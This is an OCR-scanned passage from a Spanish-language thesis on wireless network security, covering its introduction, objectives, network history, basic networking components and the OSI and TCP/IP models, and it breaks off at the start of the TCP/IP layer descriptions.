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Introduccién

Introduccion

Las redes inalambricas se han convertido en una alternativa muy accesible e
interesante a diferencia de las redes cableadas. Esto se debe a su bajo costo,
facilidad de instalacion y la libertad que ofrecen para poder conectarse en
cualquier lugar, ya que, podemos transferir informacion de una habitacién a otra o
de una oficina a otra sin ningun cable, estos son algunos que han beneficiado el
crecimiento de eta tecnologia, hoy en dia se ocupa en salas de conferencias, en
universidades, en bibliotecas, en un almacén, en el auto, desde casa, en la

escuela, en el aeropuerto, en el hotel, en la cafeteria, en oficinas , etcétera.

Estas redes estan basadas en estandares implementados por diversos
organismos tales como IEEE (Instituto de Ingenieros Eléctricos y Electronicos),
mencionado en este trabajo, han estado hasta hace poco relegadas a entornos de

escasos metros cuadrados.



Introduccién

Un panorama que ha cambiado radicalmente con la inminente aparicion de las
nuevas tecnologias, capaces de ofrecer conexiones de banda ancha alcanzando

distancias hasta de 50 km y algunas de ellas con distancias a nivel mundial.

Sin embargo esta tecnologia inalambrica con todo y sus ventajas conlleva una
contraparte muy importante en cuestion de problemas de seguridad, este tipo de
problemas se han dado a conocer no solo por los administradores de la red, sino
también de los usuarios de la misma. A estas alturas esta demostrado que las
redes inalambricas no son del todo seguras y que es necesario un importante

avance en cuestiones de seguridad.

Parte de los objetivos de este trabajo es dar a conocer las caracteristicas y/o
técnicas a nivel de seguridad de los estandares y dispositivos mas usados en la
actualidad en el hogar y pequefias empresas. Dar a conocer los ataques mas
comunes usando tecnologias de infiltracion y de acceso de fuerza bruta a los que

se enfrentan este tipo de redes en la actualidad.

Este trabajo no pretende ser exhaustivo ni abarcar todos los ataques y sus
variantes, solo dar a conocer de manera simple y entendible el funcionamiento de

estos ataques y dar una solucion a los mismos.

Como se ha mencionado las redes inalambricas no son del todo seguras, por este
motivo se daran a conocer medidas de seguridad en especifico de una red
inaldambrica tanto en sus dispositivos como en las AP (Access Point) y de esta
forma mantener nuestra red con la mayor seguridad posible protegiendo nuestra

privacidad e informacion que estemos manejando.



Introduccién

No se espera que las redes inalambricas lleguen a remplazar a las redes
cableadas ya que estas ofrecen velocidades de transmision aun. Mientras que las
redes inalambricas actuales ofrecen velocidades de 6 Mbps en hogares y en
pequefias empresas ofrecen conexiones de hasta 100 Mbps; las redes cableadas
ofrecen velocidades de 10 Mbps hasta 10 Gbps. Los sistemas de Cable de Fibra

Optica logran velocidades aiin mayores.

Los avances tecnologicos son cada vez mayores al igual que la demanda de
sistemas y redes, esto da pauta a un continuo mejoramiento de las redes
inalambricas en cuestiones de seguridad y rapidez, ya que son una herramienta
indispensable e importante en la actualidad en cualquier ambito de trabajo y del

hogar.



Justificacién

Justificacion

El desarrollo sobre el area de la seguridad Wireless Fidelity (WI-FI) es un tema
muy importante, dentro de las tecnologias de la comunicacion, ya que hoy en dia
es una necesidad muy grande que esta implementacion sea la adecuada. El tema
de la seguridad debe de ser estandarizado totalmente ya que es de vital
importancia para todos el garantizar la fiabilidad en el manejo de la informacién de

manera uniforme.

Es por esta razén que se hace muy importante investigar a fondo los problemas
que estan emergiendo diariamente en seguridad en redes inalambricas, como esto
es un tema de permanente evolucion, se dice que a medida que aumenta la
tecnologia el nivel de seguridad debe de ser mas grande por las facilidades que
los delincuentes encuentran para romperla debemos evitarlo con mejoras

sustanciales.



Justificacién

Relevancia social: ¢cual es su relevancia para nuestra sociedad?, ;quiénes se
beneficiaran con los resultados de la investigacion?, ;de qué modo?, ¢queé

proyeccion social tiene?

Actualmente en México se esta presentando un proceso de transicion en la
tecnologia, lo que hace que las redes de telecomunicaciones sean de mas
importancia cada dia debido a que en particular se presenta la necesidad de
aplicar tecnologias de redes inalambricas, o que por consecuencia trae consigo la
necesidad de hacer aportes que ayuden a mejorar la seguridad, tanto a las redes
de comunicacion directamente, asi como implementar organismos que vigilen y

regulen el funcionamiento de estas.

Para esto es necesario crear e implementar nuevos estandares que aseguren la
compatibilidad en el mercado nacional, para asi promover el uso de estas

cubriendo las necesidades de la poblacion.



Objetivo general

Objetivo general

Describir las tendencias de las tecnologias en seguridad mas comerciales de
redes inalambricas y dar un panorama mas general sobre las ventajas de utilizar e

implementar protocolos de redes Wi-Fi en el hogar y pequefias empresas.



Objetivos especificos

Objetivos especificos

» Explicar de manera sencilla como es que funcionan este tipo de redes

inalambricas y la diferencia entre las distintas sefales (WEP, WPA, WPA2).

» Describir algunos de los métodos mas comunes para infligir en este tipo de
redes inalambricas ocupando ciertos tipos de programas con una pequefa

explicacion.

» Explicar de manera entendible que es lo que estan haciendo algunos de los
fabricantes lideres para dar mas seguridad en este tipo de redes

inalambricas y dar una nocién de cual es la tendencia en las mismas.

» Dar a conocer las familias de las normas IEEE 802 y 802.11.



Objetivos especificos

» Proponer estrategia para mantener seguras las redes inalambricas,
mediante algunas configuraciones en nuestros equipos de red y buenas

practicas de uso.



Capitulo 1. Antecedentes

Capitulo 1

1.0 Antecedentes

En la década de 1940, los computadores eran enormes dispositivos
electromecanicos que eran propensos a sufrir fallas. En 1947, la invenciéon del
transistor semiconductor permitié la creacién de computadores mas pequefios y
confiables. En la década de 1950 los computadores mainframe, que funcionaban
con programas en tarjetas perforadas, comenzaron a ser utilizados habitualmente

por las grandes instituciones.

A fines de esta década, se creo el circuito integrado, que combinaba muchos y, en
la actualidad, millones de transistores en un pequefio semiconductor. En la década
de 1960, los mainframes con terminales eran comunes, y los circuitos integrados

comenzaron a ser utilizados de forma generalizada.



Capitulo 1. Antecedentes

En esa misma década solamente existian unas cuantas computadoras aisladas. El
usuario tenia que estar cerca de la computadora porque los terminales, los unicos

mecanismos de acceso a la computadora, estaban conectados mediante un cable.

Hacia fines de la década de 1960 y durante la década de 1970, se inventaron
computadores mas pequenos, denominados minicomputadores. Sin embargo,
estos minicomputadores seguian siendo muy voluminosos en comparacion con los

estandares modernos.

En 1977, la Apple Computer Company presentd el microcomputador, conocido

también como computador personal.

En 1981 IBM presenté su primer computador personal. El equipo Mac, de uso
sencillo, el PC IBM de arquitectura abierta y el posterior micro miniaturizacién de
los circuitos integrados dio como resultado el uso difundido de los computadores

personales en hogares y empresas.

A mediados de la década de 1980 los usuarios con computadores autbnomos
comenzaron a usar modems para conectarse con otros computadores y compartir
archivos. Estas comunicaciones se denominaban comunicaciones punto-a-punto o
de acceso telefénico. El concepto se expandié a través del uso de computadores
que funcionaban como punto central de comunicacién en una conexion de acceso

telefdénico.

Estos computadores se denominaron tableros de boletin. Los usuarios se
conectaban a los tableros de boletin, donde depositaban y levantaban mensajes,
ademas de cargar y descargar archivos. La desventaja de este tipo de sistema era
que habia poca comunicacidon directa, y unicamente con quienes conocian el

tablero de boletin.
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Capitulo 1. Antecedentes

Otra limitacion era la necesidad de un mdédem por cada conexién al computador
del tablero de boletin. Si cinco personas se conectaban simultaneamente, hacian

falta cinco médems conectados a cinco lineas telefénicas diferentes.

A partir de la década de 1960 y durante las décadas de 1970, 1980 y 1990, el
Departamento de Defensa de Estados Unidos (DoD) desarrollé redes de area
amplia (WAN) de gran extension y alta confiabilidad, para uso militar y cientifico.
Esta tecnologia era diferente de la comunicacion punto-a-punto usada por los

tableros de boletin.

Esta tecnologia permitia el internet working de varios computadores mediante
diferentes rutas. La red en si determinaba la forma de transferir datos de un
computador a otro. En lugar de poder comunicarse con un solo computador a la
vez, se podia acceder a varios computadores mediante la misma conexién. La

WAN del DoD finalmente se convirtié en la Internet.

La primera red informatica surgié en la Guerra Fria en 1957 cuando los Estados
Unidos crearon la Advanced Research Projects Agency Network (ARPANET), fue
creada durante la cortina de hierro, y su objetivo principal era que la informacién
militar de los Estados Unidos no estuviera centralizada y pudiera estar disponible

en punto del pais ante un eventual ataque ruso. Ver ilustracion 1.
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Capitulo 1. Antecedentes

llustracion 1 Mapa L6gico de ARPANET
The Computer History Museum, en:File:Arpnet-map-march-1977.png, ARPANET, 1977

Posteriormente a la creacion de ARPANET, Leonard Kleinrock, un investigador de
Massachusetts Institute of Technology (MIT), escribia el primer libro sobre
tecnologias basadas en la trasmision de un mismo cable de mas de una

comunicacion.

En 1965, la Arpanet patrocino un programa que trataba de analizar las redes de
computacion usando computadoras. Mediante este programa la maquina TX-2 en
el laboratorio Lincoln del MIT y la AN/FSQ32 del System Development Corporation
de Santa Monica en California, se enlazaron directamente mediante una linea

delicada de 1200 bits por segundo.

12
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Capitulo 1. Antecedentes

En 1968 la ARPANET no espera mas y llama a empresas y universidades para
que propusieran disefios, con el objetivo de construir la futura red. La universidad
de california gana la propuesta para el disefio de gestion de red y la empresa BNN
(Bold Beraneck and Newman Inc.), gana el curso de adjudicacion para el
desarrollo de la tecnologia de conmutacion de paquetes mediante la

implementacion de la Interface Message Processors (IMP).

En 1969, se establece la primera conexion de ARPANET, comienza a utilizar para
sus primeras comunicaciones un protocolo Host-to-host. Este protocolo se
denomina NCP y es el antecesor del actual TCP/IP que se utiliza en toda la
internet. Esta primera conexion estaba conformada por 4 nodos las cuales eran
minicomputadoras Honeywell DDP-516 con 12k en memoria con lineas telefénicas

con 50 kbps. Los cuatro nodos estaban situados en:

» UCLA (Universidad de California en Los Angeles).

» SRI (Stanford Research Institute).

» UCBS (Universidad de California de Santa Barbara, Los Angeles).
» La Universidad de UTA.

La primera comunicacién entre 2 computadores se produce entre UCLA y Stanford
el 20 de octubre de 1969. El autor de este envio fue Charles Kline de UCLA.

No fue hasta 1971 cuando un grupo de investigadores bajo la direccion de Norman
Abramson, en la Universidad de Hawaii, crearon el primer sistema de conmutacion
de paquetes mediante una red de comunicacion por radio, dicha red se llamo
ALOHA. Ver ilustracion 2.
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Capitulo 1. Antecedentes

Esta es la primera red de area local inalambrica (WLAN), estaba formada por 7
computadoras situadas en distintas islas que se podian comunicar con un
ordenador central al cual pedian que realizara calculos. Uno de los primeros
problemas que tuvieron y que tiene todo nuevo tipo de red inventada fue el Control
de Acceso al Medio (MAC), es decir, el protocolo a seguir para evitar que las

distintas estaciones solapen sus mensajes entre si.

En un principio se soluciond haciendo que la estacion central emitiera una senal
intermitente en una frecuencia distinta a la del resto de computadoras mientras
estuviera libre, de tal forma que cuando una de las otras estaciones se disponia a
transmitir, antes “escuchaba” y se cercioraba de que la central estaba emitiendo
dicha sefial para entonces enviar su mensaje, esto se conoce como Carrier Sense
Multiple Access (CSMA).

llustracion 2 Red ALOHA
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Un afo después ALOHA se conectd mediante ARPANET al continente americano.
ARPANET es una red de computadoras creada por el Departamento de Defensa
de los EEUU como medio de comunicacion para los diferentes organismos del

pais.

A finales de la década de los setenta se publicaron los resultados de un
experimento consistente en utilizar enlaces infrarrojos para crear una red local en

una fabrica llevada a cabo por IBM en Suiza.

En 1983, Paul Mockapetris y Jon Postel crearon el Sistema de Nombres de
Dominio (DNS) y las denominaciones .com, .org, y .gov, tan caracteristicas de lo

que hoy llamamos Internet.

La ultima etapa en el desarrollo fue la creacion de la World Wide Web (WWW), a
cargo de Tim Berners-Lee, quien a principio de los '90 inventé el sistema de links,
fundamental para el crecimiento de la red de redes. Tim Berners no patenté su
invento para no poner escollos comerciales a la evolucion de Internet. Su aporte
fue reconocido recientemente, cuando fue condecorado como caballero por la
realeza britanica y ademas fue elegido por la revista Time como uno de los 20

pensadores mas influyentes del siglo XX.

De todos modos, aunque no haya consenso total sobre cual fue el hecho que le
dio origen a lo que hoy conocemos como Internet, es indudable que aquella
primera red ARPANET, que nacié hace 57 afos, fue fundamental para el inicio de

lo que hoy podemos llamar simplemente “La Red”.
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1.1 Conceptos Basicos

Para hacer un poco mas entendible el concepto de redes olvidémonos de la
informatica por un minuto, llamamos en general Red, a un conjunto de elementos
unidos entre si mediante algun medio. Ejemplo las Ciudades de un Pais se unen
mediante las carreteras, o las vias del tren, que van uniendo unas ciudades con

otras.

Entendido este concepto adentrémonos a la Informatica, aqui llamamos red aun
conjunto de computadoras o PC, mas o menos potentes unidos por algun medio,
basicamente el cable, o bien mediante dispositivos electrénicos de forma

inalambrica.

Dentro de la primera categoria, es decir unidas por cable, en principio comenzo
utilizandose unicamente un tipo de cable para unir las distintas computadoras que
formaban la red, este era el cable coaxial, compuesto por solo dos polos, un cable
de un solo hilo llamado activo, aislado de una malla que lo recubria y que era

conectado a masa.

Posteriormente comenzé a utilizarse el cable de par trenzado, en principio
recubierto con una malla casi igual que la del anterior cable BNC, en este caso la
malla solo tenia la finalidad de aislar de ruidos la sefal que circulaba por los
cables existentes en su interior. Este tipo de cable se ha ido sofisticando vy
adecuandose a las velocidades de transmision necesaria, o que dio paso a las

llamadas categorias, categorias 3, 5, 5+ etcétera.

Mas tarde se incorporo la red de conexion inalambrica o Wireless Fidelity (WI-FI).
Una conexion WiFi utiliza sefiales de radio, al igual que los teléfonos celulares y
otros dispositivos similares. La tarjeta adaptadora inalambrica de un equipo

convierte los datos en sefnales de radio, que se transmiten por una antena.
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Después, el Router recibe y decodifica estas sefiales de cddigos binarios, para
luego enviar la informacion a Internet, mediante una Local Area Network, Red de
area local (LAN) o Ethernet por cable. Un servicio de la red Ethernet por cable

puede ser una conexion de red por cable o por DSL.

1.1.1 Red de computadoras

También llamada red de ordenadores, red de comunicaciones de datos o red
informatica, es un conjunto de equipos informaticos y software conectados entre si
por medio de dispositivos fisicos que envian y reciben impulsos eléctricos, ondas
electromagnéticas o cualquier otro medio para el transporte de datos, con la

finalidad de compartir informacion, recursos y ofrecer servicios.

1.1.2 Definicion de Red y conceptos asociados

Cuando se habla de una Red, se entiende como un grupo de individuos que, en
forma agrupada o individual, se relacionan con otros con un fin especifico,
caracterizado por la existencia de flujos de informacion. Las redes pueden tener
muchos o pocos actores y una o mas clases de relaciones entre pares de actores.
Una Red se compone, por tanto, de tres elementos basicos los cuales son: nodos

o actores, vinculos o relaciones vy, flujos.

SSID Es el nombre de la red, todos los paquetes de informacion que se envian o

reciben llevan esta informacion.

WEP Sistema de cifrado para redes WIFI, no es seguro, ya que han aparecido

vulnerabilidades que provocan que se pueda saltar facilmente.
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WPA Sistema posterior a WEP que mejora notablemente la encriptacion de WEP,

aunque la versién definitiva es WPA2.

WPA2 Sistema de cifrado, evolucion del WPA, con contrasena de 128 bits, se

considera seguro.

IP  Una direccion formada por una serie de numeros que identifica a nuestro

equipo de forma univoca dentro de una red.

MAC Es un valor que los fabricantes asignan a cada componente de una red, y
que los identifica de forma univoca, es como el DNI del dispositivo. Tienen
direccion MAC las tarjetas de red, los routers, los USB WIFI... todos los

dispositivos que puedan tener una IP.

1.1.3 DHCP

Tecnologia utilizada en redes que permite que los equipos que se conecten a una
red (con DHCP activado) auto-configuren los datos de direccidon IP, mascara de
subred, puerta de enlace y servidores DNS, de forma que no haya que introducir

estos datos manualmente.

1.1.4 NIC/MAU (Tarjeta de red)

NIC (Network Interface Card) o Tarjeta de Interfaz de Red también llamada MAU
(Medium Access Unit) o Medio de Unidad de Acceso. Cada computadora necesita

el “hardware” para transmitir y recibir informacion.
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Es el dispositivo que conecta la computadora u otro equipo de red con el medio
fisico. La NIC es un tipo de tarjeta de expansion de la computadora y proporciona

un puerto en la parte trasera de la PC al cual se conecta el cable de la red.

Hoy en dia cada vez son mas los equipos que disponen de interfaz de red,
principalmente Ethernet, incorporadas. A veces, es necesario, ademas de la
tarjeta de red, un transceptor. Este es un dispositivo que se conecta al medio fisico
y a la tarjeta, bien porque no sea posible la conexion directa (10base 5) o porque

el medio sea distinto del que utiliza la tarjeta.

Hubs

Son equipos que permiten estructurar el cableado de las redes. La variedad de
tipos y caracteristicas de estos equipos es muy grande. En un principio eran solo
concentradores de cableado, pero cada vez disponen de mayor numero de
capacidad de la red, gestion remota, etc. La tendencia es a incorporar mas
funciones en el concentrador. Existen concentradores para todo tipo de medios

fisicos.

Repetidores

Son equipos que actuan a nivel fisico. Prolongan la longitud de la red uniendo dos
segmentos y amplificando la sefal, pero junto con ella amplifican también el ruido.
La red sigue siendo una sola, con lo cual, siguen siendo validas las limitaciones en

cuanto al niumero de estaciones que pueden compartir el medio.

Bridges

Son equipos que unen dos redes actuando sobre los protocolos de bajo nivel, en
el nivel de control de acceso al medio. Solo el trafico de una red que va dirigido a

la otra atraviesa el dispositivo.
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Esto permite a los administradores dividir las redes en segmentos logicos,
descargando de trafico las interconexiones. Los bridges producen las sefiales, con

lo cual no se transmite ruido a través de ellos.

Routers

Son equipos de interconexion de redes que actuan a nivel de los protocolos de
red. Permite utilizar varios sistemas de interconexion mejorando el rendimiento de
la transmision entre redes. Su funcionamiento es mas lento que los bridges pero
su capacidad es mayor. Permiten, incluso, enlazar dos redes basadas en un

protocolo, por medio de otra que utilice un protocolo diferente.

Gateways

Son equipos para interconectar redes con protocolos y arquitecturas
completamente diferentes a todos los niveles de comunicacion. La traduccion de
las unidades de informacion reduce mucho la velocidad de transmisién a través de

estos equipos.

Médems

Son equipos que permiten a las computadoras comunicarse entre si a través de
lineas telefénicas; modulacion y demodulacion de sefiales electronicas que
pueden ser procesadas por computadoras. Los médems pueden ser externos (un
dispositivo de comunicacién) o interno (dispositivo de comunicacion interno o
tarjeta de circuitos que se inserta en una de las ranuras de expansion de la

computadora).
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1.2 Componentes basicos de unared

1.2.1 Servidor

Es una computadora utilizada para gestionar el sistema de archivos de la red, da
servicio a las impresoras, controla las comunicaciones y realiza otras funciones.
Puede ser dedicado o no dedicado. El sistema operativo de la red esta cargado en
el disco fijo del servidor, junto con las herramientas de administracion del sistema

y las utilidades del usuario.

Estaciones de Trabajo

Se pueden conectar a través de la placa de conexién de red y el cableado
correspondiente. Los terminales "tontos” utilizados con las grandes computadoras
y minicomputadoras son también utilizadas en las redes, y no poseen capacidad

propia de procesamiento.

Sin embargo las estaciones de trabajo son, generalmente, sistemas inteligentes.
Los terminales inteligentes son los que se encargan de sus propias tareas de

procesamiento, asi que cuanto mayor y mas rapido sea el equipo mejor.

Tarjetas de Conexion de Red

Permiten conectar el cableado entre servidores y estaciones de trabajo. En la
actualidad existen numerosos tipos de placas que soportan distintos tipos de
cables y topologias de red. Las placas contienen los protocolos y érdenes
necesarios para soportar el tipo de red al que esta destinada. Muchas tienen
memoria adicional para almacenar temporalmente los paquetes de datos enviados

y recibidos, mejorando el rendimiento de la red.
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Cableado

Una vez que tenemos las estaciones de trabajo, el servidor y las placas de red,
requerimos interconectar todo el conjunto. El tipo de cable utilizado depende de
muchos factores, que se mencionaran a continuacion. Los tipos de cableado de
red mas populares son: par trenzado, cable coaxial y fibra Optica. Ademas se

pueden realizar conexiones a través de radio o microondas.

Cada tipo de cable o método tiene sus ventajas y desventajas. Algunos son
propensos a interferencias, mientras otros no pueden usarse por razones de
seguridad. La velocidad y longitud del tendido son otros factores a tener en cuenta

el tipo de cable a utilizar.

Par Trenzado: Consiste en dos hilos de cobre trenzado, aislados de forma
independiente y trenzados entre si. El par estd cubierto por una capa aislante

externa.

Cable Coaxial: Se compone de un hilo conductor de cobre envuelto por una malla
trenzada plana que hace las funciones de tierra. Entre el hilo conductor y la malla
hay una capa gruesa de material aislante, y todo el conjunto esta protegido por

una cobertura externa.

Conexion fibra 6ptica: Esta conexién es cara, permite transmitir la informacién a
gran velocidad e impide la intervencioén de las lineas. Como la senal es transmitida
a través de luz, existen muy pocas posibilidades de interferencias eléctricas o
emision de senal. El cable consta de dos nucleos 6épticos, uno interno y otro
externo, que refractan la luz de forma distinta. La fibra esta encapsulada en un

cable protector.
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1.2.2 Dispositivos de Comunicacién Inalambricos

Los componentes inalambricos se utilizan para la conexion a redes en distancias
que hacen que el uso de adaptadores de red y opciones de cableado estandares
sea técnica o econdmicamente imposible. Las redes inalambricas estan formadas

por componentes inalambricos que se comunican con LAN.

Excepto por el hecho de que no es un cable quién conecta los equipos, una red
inalambrica tipica funciona casi igual que una red con cables: se instala en cada
equipo un adaptador de red inalambrico con un transceptor (un dispositivo que
transmite y recibe sefales analdgicas y digitales). Los usuarios se comunican con

la red igual que si estuvieran utilizando un equipo con cables.

Transmision por Infrarrojos

Funciona utilizando un haz de luz infrarroja que transporta los datos entre
dispositivos. Debe existir visibilidad directa entre los dispositivos que transmiten y
los que reciben; si hay algo que bloquee la sefal infrarroja, puede impedir la

comunicacion.

Estos sistemas deben generar sefiales muy potentes, ya que las sehales de
transmision débiles son susceptibles de recibir interferencias de fuentes de luz,

como ventanas.

Transmision via Radio en Banda Estrecha

El usuario sintoniza el transmisor y el receptor a una determinada frecuencia. La
radio en banda estrecha no requiere visibilidad directa porque utiliza ondas de

radio.
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Sin embargo la transmision via radio en banda estrecha esta sujeta a
interferencias de paredes de acero e influencias de carga. La radio en banda
estrecha utiliza un servicio de suscripcion. Los usuarios pagan una cuota por la

transmision de radio.
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Capitulo 2

2.0 Redes de Computadoras

Red, es una estructura que dispone de un patron caracteristico. Una computadora
u ordenador, por su parte, es una maquina electronica que procesa datos y que

posibilita la ejecucion de distintas secuencias o rutinas indicadas por el usuario.

Una red de computadoras, por lo tanto, es un conjunto de estas maquinas donde
cada uno de los integrantes comparte informacion, servicios y recursos con el otro.
Por lo general se habla de red informatica ya que es habitual que, ademas de las
computadoras, se utilicen otros equipos complementarios para facilitar la

comunicacién (como un router o un switch).
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La red de computadoras permite compartir recursos a distancia, aumenta la
velocidad de la transmision de datos (es mas rapido acceder a un archivo por una

red que a través de internet, por ejemplo) e incrementa la confiabilidad.

2.1 Protocolo

Es un conjunto de reglas usadas por computadoras para comunicarse unas con
otras a través de una red. Un protocolo es una convencion o estandar que controla
o permite la conexién, comunicacion, y transferencia de datos entre dos puntos
finales. Los protocolos pueden ser implementados por hardware, software, o una

combinaciéon de ambos.

2.2 Modelo de referencia OSI

El modelo de interconexién de sistemas abiertos, también llamado Open System

Interconnection (OSI). Ver ilustracién 3.

Fue desarrollado en 1980 por la Organizacion Internacional de Estandares (ISO),
una federacion global de organizaciones que representa aproximadamente a 130
paises. El nucleo de este estandar es el modelo de referencia OSI, una normativa
formada por siete capas que define las diferentes fases por las que deben pasar

los datos para viajar de un dispositivo a otro sobre una red de comunicaciones.

El modelo especifica el protocolo que debe usarse en cada capa, y suele hablarse
de modelo de referencia ya que se usa como una gran herramienta para la

ensefnanza de comunicacion de redes.
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Se trata de una normativa estandarizada util debido a la existencia de muchas
tecnologias, fabricantes y compafias dentro del mundo de las comunicaciones, y
al estar en continua expansion, se tuvo que crear un método para que todos
pudieran entenderse de algun modo, incluso cuando las tecnologias no

coincidieran.

De este modo, no importa la localizacidon geografica o el lenguaje utilizado. Todo el
mundo debe atenerse a unas normas minimas para poder comunicarse entre si.
Esto es sobre todo importante cuando hablamos de la red de redes, es decir,

Internet.

“El modelo OSI tiene 7 capas. Los principios que se aplicaron para llegar a las 7

capas se puedes resumir de la siguiente manera:

1.- Se debe crear una capa en donde se requiera un nivel diferente de

abstraccion.

2.- Cada capa debe realizar una funcion bien definida.

3.- La funcién de cada capa se debe elegir teniendo en cuenta la definicion

de protocolos estandarizados internacionalmente.

4.-Es necesatrio elegir los limites de las capas de modo que se minimice el

flujo de informacion a través de las interfaces.

5.- La cantidad de capas debe ser suficiente como para no tener que
agrupar funciones distintas en la misma capa; ademas, debe ser lo bastante
pequefia como para que la arquitectura no se vuelva inmanejable.”
(Tanenbaum & Wetherall, 2012).
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CAPA CAPA

B Protocolo de Aplicacion S
APLICACION APLICACION

A A
A 4 A 4

PRESENTACION

h
A

Fisica Fisica Fisica Fisica

SISTEMA A SISTEMA B

llustracion 3 Modelo de referencia OSI

A continuacion se dan a conocer de manera general cada capa del modelo en
orden, empezando por la capa inferior. Teniendo en cuenta que el modelo OSI en
si no es una arquitectura de red, ya que no especifica los servicios y protocolos

exactos que se van a utilizar en cada capa.
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2.2.1 La capafisica

La capa fisica define las especificaciones eléctricas, mecanicas, de procedimiento
y funcionales para activar, mantener y desactivar el enlace fisico entre sistemas
finales. Las caracteristicas tales como niveles de voltaje, temporizacion de
cambios de voltaje, velocidad de datos e integridad de los mismos, distancias de
transmision maximas, conectores fisicos (cable coaxial, cable de par trenzado,
fibra dptica, radio, microondas), caracteristicas del medio (tipo de cable o calidad
del mismo; tipo de conectores normalizados o en su caso tipo de antena; etc.) y

otros atributos similares son definidos por las especificaciones de la capa fisica.

2.2.2 Lacapade enlace de datos

La capa de enlace de datos es la responsable de la transferencia fiable de la
informacion a través de un circuito de transmision de datos. El objetivo de esta
capa es conseguir que la informacion fluya, libre de errores, entre dos maquinas
que estén conectadas directamente (servicio orientado a conexion). Para lograr
este objetivo tiene que montar bloques de informacion (llamados tramas en este
nivel), si el servicio es confiable, para confirmar la recepcién correcta de cada

trama, el receptor devuelve una trama de confirmaciéon de recepcion.

Dotarles de una direccidon de nivel de enlace, gestionar la deteccion o correccién
de errores, y ocuparse del control de flujo entre equipos (para evitar que un equipo
mas rapido desborde a uno mas lento). Cuando el medio de comunicacion esta

compartido entre mas de dos equipos es necesario arbitrar el uso del mismo.
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2.2.3 Lacapadered

La capa de red es la que proporciona conectividad y seleccion de ruta entre dos
sistemas de hosts que pueden estar ubicados en redes geograficamente distintas.
Su mision es conseguir que los datos lleguen desde el origen al destino aunque no
tengan conexién directa. Ofrece servicios al nivel superior (nivel de transporte) y

se apoya en el nivel de enlace, es decir, utiliza sus funciones.

En esta capa pueden ocurrir ciertos errores, “Cuando un paquete tiene que viajar
de una red a ofra para llegar a su destino, pueden surgir muchos problemas. EIl
direccionamiento utilizado por la segunda red puede ser distinto del que utiliza la
primera. La segunda red tal vez no acepte el paquete debido a que es demasiado
grande. Los protocolos pueden ser diferentes, etc. Es responsabilidad de la capa
de red solucionar todos estos problemas para permitir la interconexion de rede

heterogéneas.” (Tanenbaum & Wetherall, 2012).

2.2.4 La capade transporte

La funcidon basica de la capa de transporte es la transferencia libre de errores de
los datos entre el emisor y el receptor, aunque no estén directamente conectados,
asi como de mantener el flujo de la red. Es la base de toda la jerarquia de

protocolo.

La tarea de esta capa es proporcionar un transporte de datos confiable y
econdmico de la maquina de origen a la maquina destino, independientemente de

la red de redes fisica en uno.

“La capa de transporte también determina el tipo de servicio que debe proveer en
la capa de sesion y, en udltima instancia a los usuarios de la red. El tipo mas
popular de conexion de transporte es un canal punto a punto libre de errores que
entrega los mensajes o bits en el orden en el que se enviaron.” (Tanenbaum &
Wetherall, 2012).
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De esta forma al proporcionar un servicio de comunicaciones, la capa de
transporte establece, mantiene y termina adecuadamente los circuitos virtuales.
Al proporcionar un servicio confiable, se utilizan dispositivos de deteccién y

recuperacion de errores de transporte.

2.2.5 Lacapade sesion

La capa de sesion es la que establece, administra y finaliza las sesiones entre dos
hosts que se estan comunicando. La capa de sesion proporciona sus servicios a la
capa de presentacion. También sincroniza el dialogo entre las capas de
presentacion de los dos hosts y administra su intercambio de datos (lleva el control
de quien va a transmitir). Ademas de regular la sesion, esta capa ofrece
disposiciones para una eficiente transferencia de datos (evita que dos partes
intenten la misma operacién al mismo tiempo), clase de servicio y un registro de
excepciones acerca de los problemas de la capa de sesidn, presentacién y

aplicacion.

2.2.6 La capa de presentacion

La capa de presentacion es la que se encarga de la representacién de la
informacion, de manera que aunque distintos equipos puedan tener diferentes
representaciones internas de caracteres (ASCIl, Unicode, EBCDIC), numeros
(little-endian tipo Intel, big-endian tipo Motorola), sonido o imagenes, los datos

lleguen de manera reconocible.

Esta capa es la primera en trabajar mas el contenido de la comunicacién que en
coémo se establece la misma. En ella se tratan aspectos tales como la semantica y
la sintaxis de los datos transmitidos, ya que distintas computadoras pueden tener

diferentes formas de manejarlas.
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“Para hacer posible la comunicacion entre computadoras con distintas
representaciones internas de datos, podemos definir de una manera abstracta las
estructuras de datos que se van a intercambiar, junto con una codificacion
estandar que se use “en el cable”. La capa de presentacion maneja estas
estructuras de datos abstractas y permite definir e intercambiar estructuras de
datos de mayor nivel (por ejemplo, registros bancarios).” (Tanenbaum & Wetherall,
2012).

2.2.7 La capade aplicacion

La capa de aplicacion es la capa mas cercana al usuario; suministra servicios de
red a las aplicaciones del usuario. Difiere de las demas capas debido a que no
proporciona servicios a ninguna otra capa OSI, sino solamente a aplicaciones que

se encuentran fuera del modelo OSI.

Algunos ejemplos de aplicaciones son los programas de hojas de caélculo, de
procesamiento de texto y los de las terminales bancarias. La capa de aplicacion
establece la disponibilidad de los potenciales socios de comunicacion, sincroniza y
establece acuerdos sobre los procedimientos de recuperacion de errores y control

de la integridad de los datos.

“Contiene una gran variedad de protocolos que los usuarios necesitan con
frecuencia, un protocolo de aplicacion muy utilizado es HTTP (Hyper Text Transfer
Protocol) o Protocolo de Transferencia de Hipertexto, el cual forma la base para la
WWW (World Wide Web). Cuando un navegador desea una pagina web, envia el
nombre de la pagina que quiere al servidor que la hospeda mediante el uso de
HTTP. Después el servidor envia la pagina de vuelta. Hay otros protocolos de
aplicacion que se utilizan para transferir archivos, enviar y recibir correo

electrénico y noticias.” (Tanenbaum & Wetherall, 2012).
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2.3 Modelo de referencia TCP/IP

El modelo TCP/IP es un modelo de descripcion de protocolos de red desarrollado
en el afo de 1974 por Vinton Cerf y Robert E. Kahn. EL modelo TCP/IP se
denomina a veces como Internet Model, Modelo DoD (Departament of the
Defense) Departamento de Defensa de los Estados Unidos. Fue implementado
por primera vez en ARPANET vy posteriormente aplicado a lo que hoy se conoce

como Internet. Ver ilustracion 4

El modelo TCP/IP, describe un conjunto de guias generales de disefio e
implementacion de protocolos de red especificos para permitir que un equipo
pueda comunicarse en una red. TCP/IP provee conectividad de extremo a extremo
especificando como los datos deberian ser formateados, direccionados,
transmitidos, enrutados y recibidos por el destinatario. Existen protocolos para los

diferentes tipos de servicios de comunicacién entre equipos.

TCP/IP tiene cuatro capas de abstraccién, esta arquitectura de capas a menudo

es comparada con el Modelo OSI de siete capas.

Modelo TCP/IP Modelo OSI

Aplicacién

Aplicacion

Presentacion

Sesion

Transporte
Transporte

Internet Red

Enlace

Acceso a laRed
Fisica

llustracion 4 Modelo de referencia TCP/IP
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2.3.1 Lacapade acceso ared

